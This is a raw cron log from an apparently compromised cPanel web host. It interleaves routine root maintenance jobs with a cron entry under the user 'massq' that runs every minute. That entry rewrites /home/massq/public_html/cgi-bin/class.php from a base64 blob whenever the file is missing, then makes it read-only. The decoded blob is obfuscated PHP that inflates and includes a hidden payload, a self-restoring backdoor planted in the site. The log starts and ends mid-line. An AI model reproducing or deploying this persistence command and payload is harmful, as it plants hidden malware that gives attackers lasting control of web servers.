NTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:12:01 server CROND[30362]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 00:12:01 server CROND[30363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:12:01 server CROND[30365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:12:01 server CROND[30364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:13:01 server CROND[30747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:13:01 server CROND[30748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:13:01 server CROND[30749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:14:01 server CROND[31195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:14:01 server CROND[31196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:14:01 server CROND[31197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:15:01 server CROND[31637]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 00:15:01 server CROND[31639]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:15:01 server CROND[31645]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  2 00:15:01 server CROND[31655]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 00:15:01 server CROND[31657]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 00:15:01 server CROND[31658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:15:01 server CROND[31659]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 00:15:01 server CROND[31661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:15:01 server CROND[31660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:15:01 server CROND[31656]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:16:01 server CROND[32577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:16:01 server CROND[32578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:16:01 server CROND[32579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:17:01 server CROND[517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:17:01 server CROND[519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:17:01 server CROND[518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:18:01 server CROND[936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:18:01 server CROND[937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:18:01 server CROND[938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:19:01 server CROND[1413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:19:01 server CROND[1412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:19:01 server CROND[1414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:20:01 server CROND[1902]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 00:20:01 server CROND[1909]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:20:01 server CROND[1913]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 00:20:01 server CROND[1911]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 00:20:01 server CROND[1912]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 00:20:01 server CROND[1915]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:20:01 server CROND[1914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:20:01 server CROND[1916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:20:01 server CROND[1918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:21:01 server CROND[2842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:21:01 server CROND[2843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:21:01 server CROND[2845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:22:01 server CROND[3224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:22:01 server CROND[3225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:22:01 server CROND[3226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:23:01 server CROND[3612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:23:01 server CROND[3613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:23:01 server CROND[3614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbx